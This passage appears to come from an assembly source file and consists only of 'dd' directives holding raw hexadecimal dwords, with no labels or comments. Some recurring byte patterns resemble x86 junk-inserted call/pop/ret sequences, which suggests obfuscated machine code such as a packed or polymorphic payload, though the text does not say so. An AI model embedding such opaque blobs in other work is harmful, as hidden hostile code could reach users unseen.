		dd 8B665061h, 0F88B90F0h, 0BD89006Ah, 7E001CDh,	6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 26B50EC3h, 810F2487h, 6, 1181BD89h, 858D07E0h, 7E43AA7h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 90C35040h
		dd 10F687D8h, 0E5BD897Eh, 6007E021h, 8361F88Bh,	6A05C0h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 8502F5C3h, 9D0987BFh, 7E01FD5h, 0BF525090h, 4D999E8Ch
		dd 0DEBE310Fh, 5A39926Fh, 0F78B5058h, 8C0F6090h, 6, 880Fh
		dd 6A610000h, 7FBF6600h, 81006ADFh, 857A7CDFh, 4195FF34h
		dd 6607E034h, 9D8DF28Bh, 7E3A393h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 3BC35545h, 2DA59589h, 0D3FF07E0h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0BC35343h
		dd 8F9C8FD9h, 8B0DC539h, 0FD85FFFEh, 0F07E020h,	680h, 25858900h
		dd 0E907E006h, 7E2h, 0E8h, 0ED815D00h, 7E43AB1h, 81F38B66h
		dd 0E01391BDh, 7D007h, 2C860F00h, 8B000001h, 0E01C51BDh
		dd 0A19D8B07h, 6A07E016h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0DAEEC356h,	69B9E89Ch
		dd 6DBD8BE9h, 8107E02Eh, 100E3h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 27868B69h
		dd 0F518D86Bh, 11E8h, 0BBA82600h, 0EB2D285Ah, 0B3F12C3Ch
		dd 0B21E254Eh, 0BD33573Bh, 7E030E5h, 0CE95Eh, 0E40D0000h
		dd 50E10109h, 0A6B43F5Ah, 0DB0BF816h, 77850Fh, 0BE660000h
		dd 0F38BD2FDh, 3936BD83h, 0F0007E4h, 4E84h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 7B79121Eh, 12E9DC3Ch, 0AC000000h, 70CEF703h,	0DC1EE7DDh
		dd 32A81717h, 0F1A05727h, 698D89DFh, 0E907E01Ah, 2Bh, 0F7B70F53h
		dd 71BD8B5Eh, 0C707E020h, 0E4393685h, 107h, 79F78100h
		dd 0E9302DFEh, 0Bh, 3685C7F8h, 7E439h, 8D000000h, 0E016A19Dh
		dd 0E5BD2907h, 8107E020h, 0FFFEFF23h, 0BF6657FFh, 665FDBB7h
		dd 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 66484BC3h, 0D72DD681h, 0F04C3F6h,	7784h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0FCF3F857h, 95FF23AEh, 7E01AE9h,	7E8h, 0FC3D5500h
		dd 3B5ADF0h, 7A5BD8Bh, 505E07E0h, 3890Fh, 8B660000h, 240489F3h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0DAC35343h
		dd 8B66B2FEh, 0AE9F1h, 4BD40000h, 19F5ABDBh, 0D2CC493Eh
		dd 3D2E9h, 12E900h, 34420000h, 519F9A88h, 0FF0AF3DEh, 17EFF72Ah
		dd 0A48B17B0h, 0B52900B0h, 7E0154Dh, 896070E6h,	0E023158Dh
		dd 8961F507h, 0E015698Dh, 6A71E407h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0ADB5C355h
		dd 9FF160E8h, 0BE66A56Eh, 0B60F17D0h, 72E3BED8h, 6BA161Eh
		dd 0F8000000h, 6AC38Bh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 8660A7C3h, 4CDFF07Eh, 890F7E7Eh
		dd 3, 0C1FBBF0Fh, 6A04E8h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 8529ACC3h, 7E025ADh
		dd 6AE2F766h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0B4CAC356h, 813FC5C3h,	78B2B1CFh
		dd 6AD82B7Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 780CC355h, 600DD71Ch, 18E0Fh
		dd 89F90000h, 0E006DD95h, 66936107h, 50F59DBFh,	48A0F93h
		dd 53000000h, 0FF5E5F53h, 0E01391B5h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 0FA5D4CFh, 385h, 0FABF0F00h,	10A98529h, 95FF07E0h, 7E018A9h
		dd 0DDBD8B60h, 0F07E030h, 685h,	9DB58900h, 6107E02Dh, 6A00B0h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 4FEDCAC3h, 84C3E5CBh, 8B353B08h, 65BD8BF2h, 0E607E014h
		dd 0EE970h, 0FFF30000h,	36045B5Dh, 2BA051A9h, 0AA82826Ah
		dd 6A71E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 37D659C3h, 4A696895h, 613C9225h, 1ED830Fh
		dd 0DE90000h, 95000000h, 0FA809F83h, 7218B42h, 0D793348Bh
		dd 29D8B60Fh, 0E025FDB5h, 0DAD78107h, 0BA39014Fh, 6, 1361B58Bh
		dd 0C38B07E0h, 0B800Fh,	6E90000h, 52000000h, 0A886A21Ah
		dd 4E8C19Bh, 66F28B66h,	6AE2F7h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 3C44E0C3h, 0F519589h
		dd 0D82B07E0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	0A9C35747h, 0FE958h, 24400000h,	0B6C16A88h, 63C9AC73h
		dd 0BB864767h, 0FD82B08h, 14688h, 7B9F800h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0CC0BC353h, 0E20E3F14h, 69B50B19h, 8307E01Ah
		dd 8C0F00C1h, 0Ah, 5E9h, 0BDCBE700h, 0D93B3894h, 0FD860Fh
		dd 9E90000h, 0C4000000h, 91DB79B2h, 5C53926Bh, 8C665E57h
		dd 0C1F6F9D9h, 0B3840F04h, 6A000000h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 6A5EC357h
		dd 8169C1C7h, 66F08B93h, 606DF681h, 1AE995FFh, 0BD0B07E0h
		dd 7E00559h, 6840Fh, 0BD8B0000h, 7E010C1h, 0FB8B665Bh
		dd 6AC32Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0C5B161C3h, 276C4275h, 8B66CB21h,	8343DF7h
		dd 860F0000h, 3Ah, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0E1C35040h, 0E889CB83h, 0EFED6ABCh, 5860Fh
		dd 5FBE0000h, 0E9653A1Ah, 33h, 1CCDB58Bh, 0C08B07E0h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 89C35242h, 94247C8Ah
		dd 6BD31081h, 9D9589E4h, 8B07E004h, 6AD88BC3h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 9C1C356h, 0E02DB58Dh, 7585C707h, 7107E014h, 89709633h
		dd 0E012699Dh, 8BC08B07h, 91BD81F3h, 0D007E013h, 0F000007h
		dd 5A85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 36A995CEh, 29683A44h, 0E01EBD85h
		dd 9185FF07h, 6A07E013h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0AF01C352h, 4DE17498h, 0BF669B77h, 8166F531h
		dd 0FF7ED9DEh, 0E01391B5h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0BD8BEC13h
		dd 7E01D1Dh, 18A995FFh,	858907E0h, 7E026E5h, 56006A90h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0EE807h, 0EA410000h,	0CF2A278Fh, 0F7FCEAFCh,	1C3C3B21h
		dd 1931B58Bh, 605F07E0h, 15F59589h, 0E96107E0h,	5, 0F621B806h
		dd 51006A3Ah, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0E542447Eh, 8BA2DBD4h, 0E023BDBDh, 31B58B07h
		dd 6A07E010h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 8BC2C357h, 0E020A9B5h,	1D9D8907h
		dd 2907E02Bh, 0E012699Dh, 2D952907h, 0F807E02Eh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 50C35242h, 0B8359A7Eh
		dd 6620F9E6h, 6AF98Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 78BEF9C3h, 0BD8BD3CEh, 7E000E5h
		dd 6AF18B66h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 6A47C357h, 9691946h, 0C9D288DCh
		dd 2919BD8Bh, 0BF6607E0h, 31E9AADAh, 0FFFFFF8h,	88Ah, 895E5300h
		dd 0E01AD1B5h, 0DF816607h, 6A60699Dh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0B596C352h
		dd 20AC9CBEh, 29DB8166h, 0FFFEB953h, 6AFFFFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 1F72EBC3h
		dd 3840FA8h, 66000000h,	8D21FA8Bh, 7E01359h, 0CE9h, 0E5B71F00h
		dd 0EB294377h, 9D2798D8h, 0CE82Bh, 0AAB20000h, 2C33E5FBh
		dd 3BD6B5BEh, 215E588Bh, 0E000E18Dh, 8D8BF507h,	7E01359h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D5C35141h
		dd 0FDC3EC74h, 9D8B6A75h, 7E02C35h, 0F01E183h, 2985h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 64C0189Dh, 66BD6CE0h, 0B815E281h, 8D8BD38Bh,	7E000E1h
		dd 191BD09h, 0E18307E0h, 6850F01h, 81000000h, 0D6C7ADCFh
		dd 6A606115h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0F4C5C350h, 5CB9D5AFh,	4D881EEh
		dd 0B93B2321h, 0FFFFFFFEh, 1555858Bh, 21F907E0h, 0E008BD8Dh
		dd 92E88107h, 6651330Ch, 2125E5BAh, 0E01B1D8Dh,	1958907h
		dd 8B07E023h, 0E008BD8Dh, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0D2D8217h
		dd 0F01E183h, 3B85h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 66B78AF2h, 41A77598h
		dd 10E9h, 84FDE000h, 9914A692h,	5873A2A9h, 0FA8EC9E1h
		dd 58F85040h, 1B1D8D8Bh, 36007E0h, 0E000CDB5h, 9D896107h
		dd 7E01C75h, 0F01E183h,	2485h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0E667CCCCh
		dd 0E780507Eh, 8B60618Ah, 0FFFEB9D9h, 6AFFFFh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 593499C3h, 0F1D99B0h, 8D21F7BFh, 7E016A1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 8FC35141h, 0D32AC3E3h
		dd 7058523h, 8D2107E0h,	7E01E01h, 8B08F680h, 0E016A18Dh
		dd 398D2907h, 8307E004h, 850F01E1h, 2, 8D8B6FB4h, 7E01E01h
		dd 19958D89h, 816607E0h, 83FD92EEh, 850F01E1h, 23h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 2CC35040h, 88868286h
		dd 615C8CACh, 55006A60h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 59B84EFCh, 8166E5BCh, 0B95565C0h
		dd 0FFFFFFFEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0C1C35545h, 6E9h, 6E840900h, 219030BCh,	0E020E98Dh
		dd 4DBD8907h, 2107E015h, 0E014758Dh, 57006A07h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 41B6449h, 8BD75176h
		dd 0E020E98Dh, 1E18307h, 1F850Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0FEC608C3h
		dd 758D8B06h, 6A07E014h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0F75CC351h,	1E18381h
		dd 38850Fh, 0CE80000h, 79000000h, 0C0E7AF96h, 826DA65Dh
		dd 0E8468A1Bh, 13h, 533CC000h, 0CAEDC7C6h, 51AFB01Fh, 0F2EB7B4Eh
		dd 666A45CEh, 5F64DEBAh, 3800F5Fh, 80000000h, 60618AD8h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 84C35242h
		dd 85C70A21h, 7E01391h,	7D0h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 7C35141h, 6A61DED2h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0FB88C356h, 920B3403h, 80D7BF0Fh, 0B509B6EAh, 7E02F6Dh
		dd 9D6107EBh, 0E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0AEF161D2h, 9C03EFEh
		dd 0E02C899Dh, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 8070144Fh, 0C18B8ADEh
		dd 71BD8B60h, 8B07E030h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0F683A44h, 689h, 19BD8900h
		dd 0E807E029h, 13h, 0AC131155h,	90E58669h, 0CD28FAA6h
		dd 0C261A569h, 0FF3F26Eh, 18Eh,	0BF59F500h, 0B6E45AFh
		dd 6B1BD83h, 750007E0h,	0C5BD8309h, 7E001h, 53501974h
		dd 38B8C08Bh, 89000004h, 0E020F585h, 629D8D07h,	0FF07E2BCh
		dd 83585BD3h, 0E001C5BDh, 17740007h, 38B85350h,	89000004h
		dd 0E020F585h, 519D8D07h, 0FF07E2B9h, 3585BD3h,	0E01D658Dh
		dd 0EE907h, 89730000h, 9FB02FC0h, 0C2166017h, 0D7C7A05Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 4DC35646h
		dd 5A5683D6h, 0A4DD8785h, 490AB966h, 6AC08Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0DD303FC3h
		dd 0E8CE8B66h, 832h, 20218531h,	858907E0h, 7E006D5h, 0E8F38B66h
		dd 81Eh, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 17h,	81C35343h, 0BE9E1C71h, 78D1A0B3h, 58D0Fh, 0B1B90000h
		dd 890BE688h, 0E00F5985h, 0F851B907h, 0DFE86492h, 6A000007h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 94DCC352h, 38527F19h, 5A81FE9Bh, 1B418589h
		dd 6A07E0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 18F061C3h, 4C34E69Dh, 81F13FBDh, 0E0E805E6h
		dd 784E853h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0A10C71C3h, 0DAEF810Ch
		dd 895FDF32h, 0E01BF585h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 493F8582h
		dd 0AD9F86B3h, 0E15B58Bh, 2BE807E0h, 6A000007h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 213C355h, 0B58BA283h, 7E00741h, 20DD8589h, 0E8F807E0h
		dd 6FAh, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	88C35545h, 5E19D58Fh, 0E8DB8D75h, 0Fh, 0A3A39605h
		dd 86DC5F5Eh, 0C9F333B2h, 0F9FD838h, 386h, 0F18B6600h
		dd 5D85895Fh, 907E008h,	0E01CA595h, 6A8E807h, 800F0000h
		dd 6, 4D18D89h,	858907E0h, 7E004A9h, 8FE8F78Bh,	6A000006h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 40FEC353h, 0E9B50178h, 8907E00Fh,	0E02A3585h
		dd 6E907h, 85680000h, 0DA7E90EDh, 0E8F28B66h, 652h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 22C35040h, 53D1D8DAh
		dd 0AD858905h, 6A07E012h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 86DC355h, 25FAB58Ah
		dd 19B58B02h, 0E807E000h, 5FEh,	39852960h, 107E004h, 0E008E18Dh
		dd 85896107h, 7E02A5Dh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 93C35141h, 634EC9A1h,	8166B302h, 0E85E15C7h
		dd 8, 0DA69185Ch, 0F7D619DDh, 2098D89h,	0B15F07E0h, 5A8E82Bh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0F977EEC3h, 0A7A3BF66h, 9E8h, 0B1CD6000h
		dd 4C76C9F9h, 12E89547h, 73000000h, 0E5DA614Dh,	4253D8FCh
		dd 0FEE3DC2Ah, 9DBC3119h, 55B58B62h, 5907E01Bh,	0A185895Fh
		dd 6007E007h, 0E98153F8h, 237979A3h, 43E8615Eh,	81000005h
		dd 0B45409CFh, 0C585893Eh, 8B07E023h, 0E02565B5h, 0B5B96607h
		dd 528E80Ah, 7E80000h, 0A5000000h, 0E65AB1BCh, 8959658Bh
		dd 0E0126185h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 1C81E814h, 0EFE84FCEh
		dd 8B000004h, 0E00E1DBDh, 49858907h, 8907E01Eh,	0E034459Dh
		dd 4D8E807h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0BF0FBBC3h, 0E58589F6h, 8907E022h
		dd 0E0257DBDh, 4A8E807h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 9B8DB5C3h, 319589FDh
		dd 8907E032h, 0E0128DB5h, 0B9858907h, 6A07E007h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 25FEC350h, 7FA5C74Eh, 0D436394Eh, 16719D89h,	0B007E0h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0ACC35646h
		dd 0E86F3909h, 8D8B5312h, 7E02E69h, 0D8B60F5Fh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 89C35242h, 16AD8D8Bh
		dd 0AE807E0h, 0A3000000h, 3C4F0898h, 0D0196F50h, 0A53BE55h
		dd 0BA5F5C34h, 6, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	82C35141h, 8BA9E180h, 51006AC3h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 38ABA0D1h
		dd 0C30946DAh, 0B589AB48h, 7E01119h, 6604E8C1h,	0B589E2F7h
		dd 7E00029h, 8D0BD82Bh,	7E02A6Dh, 0C78A6050h, 241C8961h
		dd 1AE995FFh, 9D8907E0h, 7E02D2Dh, 53006A5Bh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 78274D91h
		dd 84EBD571h, 148B0Fh, 0FE90000h, 0E2000000h, 4035928Dh
		dd 45DDEE49h, 58FA36E7h, 958D49BEh, 7E022ADh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 5BC35141h, 0AE9AAB9h
		dd 0BE000000h, 37E4836Ch, 0DEFF5EC3h, 6A1A8951h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 1671C351h, 800F2421h, 6, 1F698D89h, 428907E0h, 0FE8B6604h
		dd 12FD958Dh, 6A07E0h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0E91C99C3h, 14h,	0DF98E090h, 510BC924h
		dd 9035E212h, 23591956h, 2F1BEDDEh, 0BD2B1A89h,	7E01C45h
		dd 8D044289h, 0E0126D95h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 25B8FA96h
		dd 4493D358h, 0FDBD8BC1h, 8907E01Ch, 53006A1Ah,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0C23C4143h
		dd 5E9EF7Bh, 54000000h,	0C3600A0Ah, 6A044289h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 6675C352h, 0BC09E781h, 2850F51h, 60000000h, 958D5F61h
		dd 7E033A5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	66C35646h, 0EEC0C2CBh, 0ACF68166h, 6A1A8950h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0CDC1C355h, 0E5416A08h, 89F88311h, 6A0442h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0A80CA2C3h, 12F99589h, 958D07E0h, 7E008B1h, 1A89FA8Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 71C35747h
		dd 8B7D52E2h, 0E02D698Dh, 4428907h, 13D5BD29h, 958D07E0h
		dd 7E0317Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	32C35040h, 0A1645F36h, 0D9BD8BB4h, 8907E004h, 0F1B5331Ah
		dd 8907E02Fh, 0BF0F0442h, 1958DCAh, 6A07E026h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 8930C355h, 51006A1Ah, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 667826FCh, 0EEC0C2CBh, 1175B58Bh
		dd 428907E0h, 958DF504h, 7E01A3Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 1BC35242h, 90F43875h, 0CE8DFh
		dd 149F0000h, 1DD8D600h, 0E2309E55h, 0D980189Bh, 1A895E8Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 32C35646h
		dd 0A38BF401h, 18C58D89h, 428907E0h, 51006A04h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0B7C58B86h
		dd 8B66048Bh, 0E1BD89CFh, 0E907E018h, 0DCh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 17C35141h, 0B756B66Ah
		dd 0FD7A8E2h, 6AF6BFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 1AC35545h, 0AE84970h,	29000000h, 40BBFE75h
		dd 0D4C5961Fh, 1DB509FBh, 5E07E00Eh, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 9529C9C3h
		dd 7E033A1h, 0D181006Ah, 1AB2318Dh, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 835327C3h
		dd 0DE93BE66h, 1AA595FFh
		dd 0BF0F07E0h, 6AC3F9h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 9E2DEDC3h, 0BD2BD5D8h, 7E03135h
		dd 6AC58Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0DFF435C3h, 23658D31h, 0C08B07E0h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 47C35242h, 3CDFB90Eh
		dd 0E7BE71C1h, 8334A242h, 0E006B1BDh, 9750007h,	1C5BD83h
		dd 740007E0h, 8B535019h, 438B8C0h, 85890000h, 7E02399h
		dd 0BCC99D8Dh, 0D3FF07E2h, 0BD83585Bh, 7E001C5h, 50177400h
		dd 438B853h, 85890000h,	7E02399h, 0B96A9D8Dh, 0D3FF07E2h
		dd 0BF0F585Bh, 0B18D33C8h, 8A07E010h, 8DC08BCCh, 0E013C985h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0DAD18E0h, 0E9609CD2h, 14h, 0FC83C423h
		dd 0FD7A625Eh, 40145F26h, 0B659123Eh, 0C4B8B37Bh, 5090EBB7h
		dd 8E952h, 5C120000h, 19DE3719h, 310F7051h, 585AC0B7h
		dd 8B75050h, 3BB905Bh, 0F4EFE6Fh, 6AFFBFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0B6C35343h, 0FBB9EA63h
		dd 6A5D8E22h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 1DCA3B67h, 7BB53DFh, 0A9B3A335h
		dd 10870Fh, 0BE90000h, 4000000h, 0A2F76793h, 59E36D41h
		dd 858DD305h, 7E453E9h,	9E9h, 75ACBF00h, 42BFDA23h, 0C083685Eh
		dd 55BB6605h, 6060509Fh, 0BE8h,	8184DA00h, 8672D060h, 29E138F8h
		dd 61616059h, 1010B3B8h, 4896134h, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0C77C1BFCh
		dd 89006AB3h, 0E025EDB5h, 6A006A07h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0E883C353h
		dd 7, 0D4B2211Ch, 81AB04FEh, 8BE72D7h, 95FF5F3Dh, 7E03441h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0EAC35747h
		dd 0F59D8BF5h, 8D07E028h, 0E3A3938Dh, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
		dd 0A21102C9h, 0D1FFC18Bh, 12319D8Bh, 575607E0h, 8619529h
		dd 5B5B07E0h, 16B1BD83h, 0F0107E0h, 5C85h, 0A1952900h
		dd 6A07E033h, 52006A02h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0DB16DB68h, 0D5E272B4h, 810FB09Eh
		dd 6, 112D9501h, 509007E0h, 8D0F50h, 5B000000h,	880F505Bh
		dd 2, 0B7904EB7h, 9995FF57h, 8907E02Ah,	0E011BDBDh, 0E12E907h
		dd 0E80000h, 5D000000h,	53F3ED81h, 6A07E4h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0F5151DC3h
		dd 4B2F21E3h, 0F5FEBF0Fh, 8699589h, 858D07E0h, 7E39463h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 3DC35646h
		dd 0F765DE6Bh, 41A50910h, 5077CB80h, 13E9h, 0BA49A400h
		dd 7F6A66E9h, 0ABE7A0BDh, 75697D81h, 24650D3Eh,	6A240489h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0BE40C353h, 38C0F61h, 0F000000h, 0FF64DEBFh
		dd 35h,	9BD8900h, 6407E01Bh, 2589h, 0BD8B0000h,	7E007ADh
		dd 20FD85FFh, 816607E0h, 6A344AEBh, 50006AFFh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0AB70E7Ah
		dd 0A7B5E98Bh, 6D5B5FFh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0CC4B07C3h, 5FCE0D4h
		dd 8995FF98h, 0E907E033h, 106h,	0E1C38166h, 8000B0EBh
		dd 70E6E6CFh, 19C18589h, 71E407E0h, 3CDBB70Fh, 0E7830F61h
		dd 89000000h, 0E03261B5h, 0C8B60F07h, 25A1BD8Bh, 6BA07E0h
		dd 0F8000000h, 0B70FC18Bh, 4E8C1DAh, 0CE9h, 0DFEB8600h
		dd 9DA8C8D1h, 7D995036h, 66D88BB1h, 0B501E2F7h,	7E02AD5h
		dd 8BFCC82Bh, 6E9FCD1h,	89000000h, 0E006BD9Dh, 0AD858B07h
		dd 6607E022h, 728D381h,	8B07C083h, 0E0346D9Dh, 0C08307h
		dd 2CA1BD89h, 0E96007E0h, 0Eh, 5DA817Eh, 0B5240BD6h, 0F35A0C74h
